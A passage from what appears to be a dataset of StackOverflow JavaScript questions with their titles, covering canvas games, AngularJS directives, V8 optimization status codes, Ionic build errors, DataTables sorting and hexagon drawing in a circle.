0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] ] ; this.tileSize = 32 ; this.colors = [ 'black ' , 'red ' , 'green ' ] ; this.getCell = function ( x , y ) { return this.map [ y ] [ x ] ; } ; this.render = function ( ) { for ( var x = 0 ; x < this.map.length ; x++ ) { for ( var y = 0 ; y < this.map.length ; y++ ) { // SWAP Y AND X IN THE FILLSTYLE DUE TO BACKWARDS/MIRRORED JS ARRAY READING window.context.fillStyle = this.colors [ this.map [ y ] [ x ] ] ; window.context.fillRect ( ( x * this.tileSize ) - window.camera.position.x , ( y * this.tileSize ) - window.camera.position.y , this.tileSize , this.tileSize ) ; window.context.strokeStyle = 'yellow ' ; window.context.strokeRect ( ( x * this.tileSize ) - window.camera.position.x , ( y * this.tileSize ) - window.camera.position.y , this.tileSize , this.tileSize ) ; } } } } ;",Javascript Canvas Game - Collision Detection "JS : Basically , how can I listen to changes in an expression from within a directive ? I 'm using the undocumented ng-required to conditionally require a certain field : This works great ( here 's the Plunkr ) . The only problem with this is that it keeps the placeholder `` required '' text , regardless of whether it 's actually required.So , I decided to create my own directive . Here 's how it should work : The idea is similar to angular 's ng-class , but I have no way how to accomplish this . Here 's what I 've got so far : which logs a nice object that I can use to determine the placeholder value : but how do I then hook into the $ digest/ $ apply cycle to update the placeholder attribute whenever partner changes ? < input type= '' checkbox '' ng-model= '' partner '' checked / > < input ng-model= '' partnerName '' placeholder= '' required '' ng-required= '' partner '' / > < input ng-placeholder= '' { 'required ' : partner } '' / > app.directive ( 'ngPlaceholder ' , function ( $ parse ) { return { restrict : ' A ' , link : function ( scope , element , attrs ) { console.log ( scope. $ eval ( attrs.ngPlaceholder ) ) ; } } } ) ; { required : true }",Observe an expression from within a directive "JS : I saw a question about v8 Optimization which led me to play a bit with v8 Optimization.I 've also seen bluebird post about v8 Optimization killers.According to v8 repo , optimization status codes are in multiplications of 2 : 1,2,4 ,8 and so on ( see OptimizationStatus enum ) However , the following code gave me strange status codes like 17 and 65 , and only in these specific cases ( see the last few lines of code ) .Any ideas about why this is happening ? Run this code with : You can use my gist if you find it more comfortable function adder ( a , b ) { return new Function ( ' a ' , ' b ' , 'return b % 2 ? a + b : b % 3 ? a - b : b % 5 ? b / a : a * b ' ) ( a , b ) ; } function addereval ( a , b ) { return eval ( ' b % 2 ? a + b : b % 3 ? a - b : b % 5 ? b / a : a * b ' ) ; } function printStatus ( fn ) { var status = % GetOptimizationStatus ( fn ) switch ( status ) { case 1 : console.log ( fn.name , `` function is optimized '' ) ; break ; case 2 : console.log ( fn.name , `` function is not optimized '' ) ; break ; case 3 : console.log ( fn.name , `` function is always optimized '' ) ; break ; case 4 : console.log ( fn.name , `` function is never optimized '' ) ; break ; case 6 : console.log ( fn.name , `` function is maybe deoptimized '' ) ; break ; case 7 : console.log ( fn.name , '' Function is optimized by TurboFan '' ) ; break ; default : console.log ( fn.name , `` Unknown optimization status : `` , status ) ; break ; } } printStatus ( adder ) ; printStatus ( addereval ) ; for ( let i = 0 ; i < 263 ; i++ ) { adder ( 1 , 2 ) ; } console.log ( '\n ' , '==== adder after invocation - result is on node v8.2.1 17 or 65 on node v8.7.0 === ' ) ; printStatus ( adder ) ; addereval ( 1 , 2 ) ; console.log ( '\n ' , '==== addereval after invocation - result is 65 === ' ) ; printStatus ( addereval ) ; node -- trace_deopt -- allow-natives-syntax FILENAME.js",What happens to v8 status code on optimization / function run ? "JS : I found that in Nodejs comparing two strings by comparing every char of them is faster than using the statement 'str1 === str2'.What is the reason for this ? And in browsers , it 's just opposite.Here is the code that I had tried , the two long strings are equal.Node version is v8.11.3 function createConstantStr ( len ) { let str = `` '' ; for ( let i = 0 ; i < len ; i++ ) { str += String.fromCharCode ( ( i % 54 ) + 68 ) ; } return str ; } let str = createConstantStr ( 1000000 ) ; let str2 = createConstantStr ( 1000000 ) ; console.time ( 'equal ' ) console.log ( str === str2 ) ; console.timeEnd ( 'equal ' ) console.time ( 'equal by char ' ) let flag = true ; for ( let i = 0 ; i < str.length ; i++ ) { if ( str [ i ] ! == str2 [ i ] ) { flag = false ; break ; } } console.log ( flag ) ; console.timeEnd ( 'equal by char ' ) ;",Why '=== ' is slower than comparing char by char when comparing two string in Nodejs "JS : I have created a basic table in js fiddle . I am using the datatable sorter function , however if you click along the headers , or click a header , skip one and click another , it seems to ignore the first mouse-click . ( To replicate the issue click on Confirmation Period , then ABN , then back to Confirmation Period ) Any thoughts ? and the JS ... } ) ; jsfiddle : http : //jsfiddle.net/wcdg3ddL/ < table id= '' tableSort '' class= '' tableSort '' cellspacing= '' 0 '' style= '' margin-top:20px ; margin-left:10px ; '' > < thead > < tr > < th > Confirmation Period < /th > < th > Legal/Entity Name < /th > < th > ABN < /th > < th > Business/Trading Name < /th > < th > Status < /th > < /tr > < /thead > < tr > < td > 1 < /td > < td > a < /td > < td > 34 < /td > < td > 78 < /td > < td > b < /td > < /tr > < tr > < td > 2 < /td > < td > c < /td > < td > 100 < /td > < td > 90 < /td > < td > g < /td > < /tr > $ ( document ) .ready ( function ( ) { $ ( ' # tableSort ' ) .dataTable ( { `` searching '' : false , `` paging '' : false , `` info '' : false } ) ;",JQuery Table Sort issue - Skipping column disables first mouse click "JS : Hello I got a rather simple question . I use the HTML5 range slider type : < input type= '' range '' > and I want to trigger it via jQuery.I used the following code : For some reason I get the following error : ! Uncaught Error : Syntax error , unrecognized expression : unsupported pseudo : range Perhaps important : I use jquery-1.12.1.min.js . Does anyone now why this is and how I could solve this ? $ ( `` form input : range '' ) .each ( function ( ) { // Do something } ) ;",HTML5 range - unsupported pseudo : range "JS : I was working on a project and this problem popped into my head . I am not sure if there is already a post like this but I have found none.Let say if I have this : and this : Since either way the if-statement is going to have to check once of the conditions , if the frequency of the actions are known ( e.g . I know that the else part is performed most often ) . Does checking for `` not conditions '' make the code run faster or does the checking of `` not condition '' do n't even affect the performance ? ( Suppose I 'm building a complicated node.js server that has many of these type of functions . ) Addition question : Do most programming languages do the same too theoretically ? I was just wondering if it affects the performance ( practically or theoretically ) . function checks ( s ) { if ( s.length == 4 & & s [ 0 ] == `` a '' ) { //action } else { //other action } } checks ( `` a001 '' ) ; checks ( `` else '' ) ; checks ( `` else '' ) ; checks ( `` else '' ) ; function checkb ( b ) { if ( b ) { //action } else { //other action } } checkb ( true ) ; //Suppose i 'm passing these through another functioncheckb ( false ) ; //so it makes sense for me doing thesecheckb ( false ) ; checkb ( false ) ;","JS - If condition with only 1 else , does checking order affect performance ?" "JS : I am getting the below error when trying to build and only if I try to access a specific page ( event page ) . All other pages work fine . Sorry for the long post , but I do n't know how to fix this . I removed the ios and android platorms ionic cordova platform rm ios , cleaned npm cache , but nothing . What 's weird is that I cleaned the event page , removed the ios app ionic cordova platform rm ios and added it back ... add ios . With nothing in it , the error still showed < ion-header no-border [ class ] = '' headerBackgroundClass '' > even though I removed [ class ] = '' headerBackgroundClass '' . That 's when I cleaned npm cache . But it still did n't workI do n't know what else to try . Only thing I can think of is updating ionic webview to `` cordova-plugin-ionic-webview '' : `` ^4.0.0 '' , from `` cordova-plugin-ionic-webview '' : `` ^1.1.19 '' , package.jsonevent.module.tsEdit ***Got it working using a workaround . Created a new component and moved code with minor changes . Everything works now . Not sure what was causing the error . [ 12:48:28 ] ionic-app-script task : `` build '' [ 12:48:28 ] Error : ./src/pages/event/event Module parse failed : Unexpected token ( 1:0 ) You may need an appropriate loader to handle this file type . | < ion-header no-border [ class ] = '' headerBackgroundClass '' > | < ion-navbar > | < ion-title *ngIf= '' showTitle == true '' > @ ./src/pages/event/event.module.ts 9:0-36 @ ./src lazy @ ./node_modules/ionic-angular/util/ng-module-loader.js @ ./node_modules/ionic-angular/module.js @ ./node_modules/ionic-angular/index.js @ ./src/app/app.module.ts @ ./src/app/main.ts Error : ./src/pages/event/eventModule parse failed : Unexpected token ( 1:0 ) You may need an appropriate loader to handle this file type.| < ion-header no-border [ class ] = '' headerBackgroundClass '' > | < ion-navbar > | < ion-title *ngIf= '' showTitle == true '' > @ ./src/pages/event/event.module.ts 9:0-36 @ ./src lazy @ ./node_modules/ionic-angular/util/ng-module-loader.js @ ./node_modules/ionic-angular/module.js @ ./node_modules/ionic-angular/index.js @ ./src/app/app.module.ts @ ./src/app/main.ts `` dependencies '' : { `` @ angular/animations '' : `` 5.2.10 '' , `` @ angular/common '' : `` 5.2.10 '' , `` @ angular/compiler '' : `` 5.2.10 '' , `` @ angular/compiler-cli '' : `` 5.2.10 '' , `` @ angular/core '' : `` 5.2.10 '' , `` @ angular/forms '' : `` 5.2.10 '' , `` @ angular/http '' : `` 5.2.10 '' , `` @ angular/platform-browser '' : `` 5.2.10 '' , `` @ angular/platform-browser-dynamic '' : `` 5.2.10 '' , `` @ ionic-native/camera '' : `` ^4.11.0 '' , `` @ ionic-native/core '' : `` 4.7.0 '' , `` @ ionic-native/crop '' : `` ^4.12.0 '' , `` @ ionic-native/file '' : `` ^4.12.0 '' , `` @ ionic-native/google-plus '' : `` ^4.20.0 '' , `` @ ionic-native/image-resizer '' : `` ^4.12.0 '' , `` @ ionic-native/in-app-browser '' : `` ^4.17.0 '' , `` @ ionic-native/native-page-transitions '' : `` ^4.18.0 '' , `` @ ionic-native/onesignal '' : `` ^4.7.0 '' , `` @ ionic-native/splash-screen '' : `` 4.7.0 '' , `` @ ionic-native/status-bar '' : `` ^4.7.0 '' , `` @ ionic/storage '' : `` 2.1.3 '' , `` angularfire2 '' : `` 5.0.0-rc.6 '' , `` com.telerik.plugins.nativepagetransitions '' : `` ^0.6.5 '' , `` cordova-android '' : `` 7.1.4 '' , `` cordova-ios '' : `` 4.5.5 '' , `` cordova-plugin-camera '' : `` ^4.0.3 '' , `` cordova-plugin-crop '' : `` ^0.4.0 '' , `` cordova-plugin-device '' : `` ^2.0.2 '' , `` cordova-plugin-file '' : `` ^6.0.1 '' , `` cordova-plugin-googleplus '' : `` 7.0.0 '' , `` cordova-plugin-inappbrowser '' : `` ^3.0.0 '' , `` cordova-plugin-ionic-keyboard '' : `` ^2.0.5 '' , `` cordova-plugin-ionic-webview '' : `` ^4.0.0 '' , `` cordova-plugin-splashscreen '' : `` ^5.0.2 '' , `` cordova-plugin-statusbar '' : `` ^2.4.2 '' , `` cordova-plugin-whitelist '' : `` ^1.3.3 '' , `` firebase '' : `` 4.12.1 '' , `` info.protonet.imageresizer '' : `` ^0.1.1 '' , `` ionic-angular '' : `` 3.9.2 '' , `` ionicons '' : `` 3.0.0 '' , `` moment '' : `` ^2.22.1 '' , `` onesignal-cordova-plugin '' : `` ^2.3.3 '' , `` rxjs '' : `` 5.5.10 '' , `` sw-toolbox '' : `` 3.6.0 '' , `` zone.js '' : `` 0.8.26 '' } , `` config '' : { `` ionic_source_map '' : `` source-map '' } , `` devDependencies '' : { `` @ ionic/app-scripts '' : `` ^3.2.3 '' , `` typescript '' : `` ~2.6.2 '' } , `` description '' : `` An Ionic project '' , `` cordova '' : { `` plugins '' : { `` cordova-plugin-whitelist '' : { } , `` cordova-plugin-device '' : { } , `` cordova-plugin-splashscreen '' : { } , `` cordova-plugin-ionic-webview '' : { } , `` cordova-plugin-ionic-keyboard '' : { } , `` onesignal-cordova-plugin '' : { } , `` cordova-plugin-statusbar '' : { } , `` cordova-plugin-camera '' : { } , `` cordova-plugin-crop '' : { } , `` info.protonet.imageresizer '' : { } , `` cordova-plugin-file '' : { } , `` cordova-plugin-inappbrowser '' : { } , `` com.telerik.plugins.nativepagetransitions '' : { } , `` cordova-plugin-googleplus '' : { `` REVERSED_CLIENT_ID '' : `` xxx '' , `` PLAY_SERVICES_VERSION '' : `` 11.8.0 '' } } , `` platforms '' : [ `` android '' , `` ios '' ] import { NgModule } from ' @ angular/core ' ; import { IonicPageModule } from 'ionic-angular ' ; import { EventPage } from './event ' ; import { SaferPipe } from '../../pipes/safer.pipe ' ; import { Underscore } from '../../pipes/underscore.pipe ' ; import { InAppBrowser } from ' @ ionic-native/in-app-browser ' ; import { NativePageTransitions } from ' @ ionic-native/native-page-transitions ' ; import { DaysPipe } from '../../pipes/days.pipe ' ; import { HourPipe } from '../../pipes/hour.pipe ' ; @ NgModule ( { declarations : [ EventPage , SaferPipe , Underscore , DaysPipe , HourPipe ] , providers : [ InAppBrowser , NativePageTransitions ] , imports : [ IonicPageModule.forChild ( EventPage ) , ] , } ) export class EventPageModule { }","Ionic build error - Unexpected token , Missing appropriate loader" "JS : What I want : When you move the handles left and right A , B , and C resize accordinglyWhat I have is the || between B and C sliding , but not resizing B and all I get on the other one is the resize cursor . Basically C is a curtain and covers A and B. I did get min size working for C.I broke somebody else 's perfectly good code to get this far : Been playing with it here : https : //jsfiddle.net/ju9zb1he/5/ | A | | B | | C | ^ ^ | A | | B | | C | | A | C | var isResizing = false , who= '' , lastDownX = 0 ; $ ( function ( ) { var container = $ ( ' # container ' ) , left = $ ( ' # left ' ) , right = $ ( ' # right ' ) , middle = $ ( ' # middle ' ) , hand2 = $ ( ' # hand2 ' ) , handle = $ ( ' # handle ' ) ; handle.on ( 'mousedown ' , function ( e ) { isResizing = true ; who=e.target.id ; lastDownX = e.clientX ; } ) ; $ ( document ) .on ( 'mousemove ' , function ( e ) { var temp , min ; // we do n't want to do anything if we are n't resizing . if ( ! isResizing ) return ; min=container.width ( ) * 0.1 ; temp = container.width ( ) - ( e.clientX - container.offset ( ) .left ) ; if ( temp < min ) temp = min ; if ( who == 'handle ' ) right.css ( 'width ' , temp ) ; if ( who == 'hand2 ' ) left.css ( 'width ' , temp ) ; } ) .on ( 'mouseup ' , function ( e ) { // stop resizing isResizing = false ; } ) ; } ) ; body , html { width : 100 % ; height : 100 % ; margin : 0 ; padding : 0 ; } # container { width : 100 % ; height : 100 % ; /* Disable selection so it does n't get annoying when dragging . */ -webkit-touch-callout : none ; -webkit-user-select : none ; -khtml-user-select : none ; -moz-user-select : moz-none ; -ms-user-select : none ; user-select : none ; } # container # left { width : 40 % ; height : 100 % ; float : left ; background : red ; } # container # middle { margin-left : 40 % ; height : 100 % ; background : green ; } # container # right { position : absolute ; right : 0 ; top : 0 ; bottom : 0 ; width : 200px ; background : rgba ( 0 , 0 , 255 , 0.90 ) ; } # container # handle { position : absolute ; left : -4px ; top : 0 ; bottom : 0 ; width : 80px ; cursor : w-resize ; } # container # hand2 { position : absolute ; left : 39 % ; top : 0 ; bottom : 0 ; width : 80px ; cursor : w-resize ; } < div id= '' container '' > < ! -- Left side -- > < div id= '' left '' > This is the left side 's content ! < /div > < ! -- middle -- > < div id= '' middle '' > < div id= '' hand2 '' > < /div > This is the middle content ! < /div > < ! -- Right side -- > < div id= '' right '' > < ! -- Actual resize handle -- > < div id= '' handle '' > < /div > This is the right side 's content ! < /div > < /div >",How do you create 3 adjustable divs ? "JS : I have a JavaScript task where I have to implement a function `` groupBy '' , which , when given an array of objects and a function , returns an object where the input objects are keyed by the result of calling the fn on each of them.Essentially , I have to write a function , `` groupBy ( array , callback ) '' , returns an object where the following is returned.For example : I 'm still quite new to callback functions , and would like some tips/advice to simply get started . Even links to good tutorials would be greatly appreciated . var list = [ { id : `` 102 '' , name : `` Alice '' } , { id : `` 205 '' , name : `` Bob '' , title : `` Dr. '' } , { id : `` 592 '' , name : `` Clyde '' , age : 32 } ] ; groupBy ( list , function ( i ) { return i.id ; } ) ; Returns : { `` 102 '' : [ { id : `` 102 '' , name : `` Alice '' } ] , `` 205 '' : [ { id : `` 205 '' , name : `` Bob '' , title : `` Dr. '' } ] , `` 592 '' : [ { id : `` 592 '' , name : `` Clyde '' , age : 32 } ] } Example 2 : groupBy ( list , function ( i ) { return i.name.length ; } ) ; Returns : { `` 3 '' : [ { id : `` 205 '' , name : `` Bob '' , title : `` Dr. '' } ] , `` 5 '' : [ { id : `` 102 '' , name : `` Alice '' } , { id : `` 592 '' , name : `` Clyde '' , age : 32 } ] }","Write a function `` groupBy ( array , callback ) ''" "JS : How can an arbitrary file ( eg a XLSX ) be attached/embedded to a PDF file using only client-side browser JavaScript ? If it matters , the XLSX is given by the user using a input file button and the PDF received from an external web service and encoded in base64.I am not looking for a complete solution ( it would be great if it exists ) , but how would you approach this problem in a higher level wayFiles are attached using binary file streams , that looks like this in the PDF file : 32 0 obj < < /Type /EmbeddedFile /Subtype / { mimetype } /Length 72 > > stream { file data } endstream endobj",Attach a file to a PDF using client-side JavaScript ? "JS : my jsfiddle : http : //jsfiddle.net/yKvuK/as you can see when the human walk the image remain in it 's place can i change the code so when i press left the image change it 's position and look like it 's walking to the left and not just walk in place ? function update ( ) { canvas.clearRect ( 0 , 0 , CanvasWidth , CanvasHeight ) ; if ( keydown.left ) { CurentPos++ ; if ( CurentPos == ImgNumb ) { CurentPos = 0 ; } } } // end update",human stripes animation inside canvas "JS : First of all I 'm sorry if this is a stupid question . I 've written two code snippets bellow . The first code snippet found from here written by John Resig and undoubtedly he 's one of the bests and the second code snippet is modified by me from the original code only to understand the difference but I 'm not sure actually what is the difference between both and what I can and ca n't do with both comparatively . Please someone help me to understand the difference . Thanks.Modified versionWhy should I use the object 's prototype to add a method ( after making an instance ) instead of writing it inside the constructor ? function makeClass ( ) { return function ( args ) { if ( this instanceof arguments.callee ) { if ( typeof this.init == `` function '' ) this.init.apply ( this , args.callee ? args : arguments ) ; } else return new arguments.callee ( arguments ) ; } ; } var User = makeClass ( ) ; User.prototype.init = function ( first , last ) { this.name = first + `` `` + last ; } ; var user = User ( `` John '' , `` Resig '' ) ; console.log ( user ) ; function myClass ( args ) { if ( this instanceof arguments.callee ) { this.init = function ( first , last ) { this.name = first + `` `` + last ; } ; this.init.apply ( this , args.callee ? args : arguments ) ; } else return new arguments.callee ( arguments ) ; } var obj = new myClass ( 'Sheikh ' , 'Heera ' ) ; console.log ( obj ) ;",OOP javascript and Simple Class Instantiation JS : I have a span with CSS : The text within it does not occupy the complete height ( 120px ) of the span.Is there any way to calculate the offset of the text within the span from upper and lower boundaries ? Or is this an way to make the text touch the upper and lower boundaries of the enclosing span tag ? jsFiddle Link for reference . font-height = 120px ; height = 120px ; line-height = 120px ;,Calculate empty vertical space in text "JS : As my previous approach does n't seem to work and a solution would be rather complex , I have decided to try another approach which might be a little bit simpler . This time , before the code draws any hexagon , it has to determine as how many rows and columns can fit in the pre-defined circle and based on this outcome it then starts drawing all the hexagons . So far it kind of work , but as in my previous approach , there are times when the hexes are overlapping , or leaving a large gap in the lower part of the circle . Another concern is , how do I format these hexagons into a grid ? Note , there is a small slider under the canvas , that lets you increase/decrease circle 's radius and redraw the hexagons . var c_el = document.getElementById ( `` myCanvas '' ) ; var ctx = c_el.getContext ( `` 2d '' ) ; var canvas_width = c_el.clientWidth ; var canvas_height = c_el.clientHeight ; var circle = { r : 120 , /// radius pos : { x : ( canvas_width / 2 ) , y : ( canvas_height / 2 ) } } var hexagon = { r : 20 , pos : { x : 0 , y : 0 } } var hex_w = hexagon.r * 2 ; var hex_h = Math.floor ( Math.sqrt ( 3 ) * hexagon.r ) ; var hex_s = ( 3/2 ) * hexagon.r ; fill_CircleWithHex ( circle ) ; function fill_CircleWithHex ( circle ) { drawCircle ( circle ) ; var c_h = circle.r * 2 ; /// circle height //// var c_w = c_h ; //// circle width ///// var max_hex_H = Math.round ( c_h / hex_h ) ; var row_sizes = [ ] for ( var row= 0 ; row < max_hex_H ; row++ ) { var d = circle.r - ( row* hex_h ) ; //// distance from circle 's center to the row 's chord //// var c = 2 * ( Math.sqrt ( ( circle.r*circle.r ) - ( d * d ) ) ) ; /// length of the row 's chord //// var row_length = Math.floor ( c / ( hexagon.r * 3 ) ) ; row_sizes.push ( row_length ) } console.log ( `` circle_r : `` +circle.r ) ; console.log ( `` hex_r : `` +hexagon.r ) ; console.log ( `` max_hex_H : `` +max_hex_H ) ; console.log ( `` max_hex_W : `` , row_sizes ) for ( var row = 0 ; row < row_sizes.length ; row++ ) { var max_hex_W = row_sizes [ row ] ; var x_offset = Math.floor ( ( c_w - ( max_hex_W * hex_w ) ) / 2 ) ; for ( var col = 1 ; col < max_hex_W ; col++ ) { hexagon.pos.x = ( col * hex_w ) + ( circle.pos.x - circle.r ) + x_offset ; hexagon.pos.y = ( row * hex_h ) + ( circle.pos.y - circle.r ) ; ctx.fillText ( row+ '' '' +col , hexagon.pos.x - 6 , hexagon.pos.y+4 ) ; drawHexagon ( hexagon ) } } } function drawHexagon ( hex ) { var angle_deg , angle_rad , cor_x , cor_y ; ctx.beginPath ( ) ; for ( var c=0 ; c < = 5 ; c++ ) { angle_deg = 60 * c ; angle_rad = ( Math.PI / 180 ) * angle_deg ; cor_x = hex.r * Math.cos ( angle_rad ) ; //// corner_x /// cor_y = hex.r* Math.sin ( angle_rad ) ; //// corner_y /// if ( c === 0 ) { ctx.moveTo ( hex.pos.x+ cor_x , hex.pos.y+cor_y ) ; } else { ctx.lineTo ( hex.pos.x+cor_x , hex.pos.y+cor_y ) ; } } ctx.closePath ( ) ; ctx.stroke ( ) ; } function drawCircle ( circle ) { ctx.beginPath ( ) ; ctx.arc ( circle.pos.x , circle.pos.y , circle.r , 0 , 2 * Math.PI ) ; ctx.stroke ( ) ; } $ ( function ( ) { $ ( `` # slider '' ) .slider ( { max : 200 , min:0 , value:100 , create : function ( event , ui ) { $ ( `` # value '' ) .html ( $ ( this ) .slider ( 'value ' ) ) ; } , change : function ( event , ui ) { $ ( `` # value '' ) .html ( ui.value ) ; } , slide : function ( event , ui ) { $ ( `` # value '' ) .html ( ui.value ) ; circle.r = ui.value ; ctx.clearRect ( 0,0 , canvas_width , canvas_height ) ; fill_CircleWithHex ( circle ) ; } } ) ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js '' > < /script > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.4/jquery-ui.min.css '' rel= '' stylesheet '' / > < script src= '' https : //ajax.googleapis.com/ajax/libs/jqueryui/1.11.4/jquery-ui.min.js '' > < /script > < canvas id= '' myCanvas '' width= '' 350 '' height= '' 250 '' style= '' border:1px solid # d3d3d3 ; '' > < /canvas > < div style= '' width : 200px ; height : 40px ; '' > < div 